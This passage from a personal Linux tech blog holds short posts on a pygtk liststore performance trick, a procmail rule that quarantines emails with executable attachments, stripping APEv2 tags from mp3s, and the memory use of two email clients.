For the 10k WD Raptor it was done in 5.4 seconds:
real 0m5.363s
user 0m1.332s
sys 0m0.496s


If you have the money I'd certainly recommend the Raptor drives as they really do make quite a noticeable difference in anything IO related.

posted at: 15:59 | path: /general | permanent link to this entry

Mon, 05 Mar 2007

speeding up pygtk liststore/treeview

I was running into a problem when populating a pygtk liststore where it would take a rather long amount of time and thus slowed down the app quite a lot. I did some looking into ways of speeding it up and found that the slowdown was a rather expensive sort function I was using (soring by column a, then b, then c, then d). So each time it was adding a row to the liststore it would then run through the sort fucntion to find it's place in the list. So for the liststore I was working with I was adding 379 records and it was taking about 2.5 seconds to populate.

Unfortunately there is no way to disconnect a sort function from a liststore, but you can basicly nullify it by creating a simple sort function that doesn't do anything and tell the list store to use that while you populate, then reconnect the complicated sort function after your done populating so it only needs to run the expensive sort function once instead of 379 times.

sort_func = lambda *args: 0
store.set_sort_func(2, sort_func)
store.clear()
... code to populate store ...
store.set_sort_func(2, self.aisort, (2, 3, 6))


This knocked the time down to 0.12 seconds which makes the app much more usable. I also found you could shave a little more time off by also disconnecting the liststore from the treeview to avoid having to update the treeview when each row is getting updated.

treeview.set_model(None)
... code to populate store ...
treeview.set_model(store)


This got things down to 0.10 seconds which isn't a big improvement but does make a difference. And would account for a bigger differene with more rows of data.

posted at: 18:26 | path: /general | permanent link to this entry

Fri, 09 Feb 2007

procmail filtering of exe files

I've been getting alot of spam/virus email lately that are just a blank email with an exe attachment named Greeting Card.exe or something equally retarded. My spam filter hasn't been picking up on them since there is no message to filter against so I decided to add a quick procmail rule to filter the messages out. I was able to do so by simply adding the following into my ~/.procmailrc file.
:0B:
* ^Content-Type: .*/.*;(.*$)?([ ].*$)*[ ]*name[ ]*=.*.(com|exe|pif|bat|scr)
badattachments

The :0 is the procmail tag that says this is a rule, the B tells it to scan the message body which it does not do by default. The second line is the regular expression that matches the content type line for any attachments with com, exe, pif, bat, src extension. The thrid line simply moves all that mail into my mailbox called badattachments. This could be /dev/null as well if you wanted to just rid of them right away.

posted at: 01:54 | path: /general | permanent link to this entry

Thu, 25 Jan 2007

APEv2 tags on mp3 files

I don't know why or how these got attached to some files in my music collection but it's been a problem thats been bugging me for some time. I use SlimServer for music listening and a few mp3s were not showing the proper tags even though I've triple checked the id3v2 tags. I ended up looking into the file itself and noticed right at the end of the file the tag information I had been trying to remove with the header APETAGEXÐ and with a little searching found that its an APEv2 tag attached to the file. I did some searching for a program to remove it but I couldn't find anything non-windows, however there is a library in python that can work with them called Mutagen. So I ended up scripting up a little program to rid of the tag and now the files index properly.

If anyone else is running into this problem you can install the python-mutagen package (in debian) and then use the following simple python script apetag-remove.

posted at: 15:14 | path: /general | permanent link to this entry

Thu, 30 Nov 2006

thunderbird vs sylpheed-claws memory usage

I've been trying out some other email clients lately as thunderbird always seems to be using alot of memory and gets slower after time if it's been open for a long time. I started using sylpheed-claws at work and although it took a little getting used too it seems to be working quite nicely. It's memory usage looks be alot better too (although I don't know how accurate this test is, thunderbird running for a day, sylpheed-claws running for 2 days):
pmap -d thunderbird pid
mapped: 140680K writeable/private: 108296K shared: 1284K

pmap -d sylpheed-claws-gtk2 pid
mapped: 38156K writeable/private: 16136K shared: 1112K

Also, if you plan on installing sylpheed-claws on debian make sure you get the plugins too as they are most useful.
apt-get install sylpheed-claws-gtk2 sylpheed-claws-gtk2-plugins sylpheed-claws-gtk2-extra-plugins

posted at: 19:19 | path: /debian | permanent link to this entry


Powered by PyBlosxom | RSS 2.0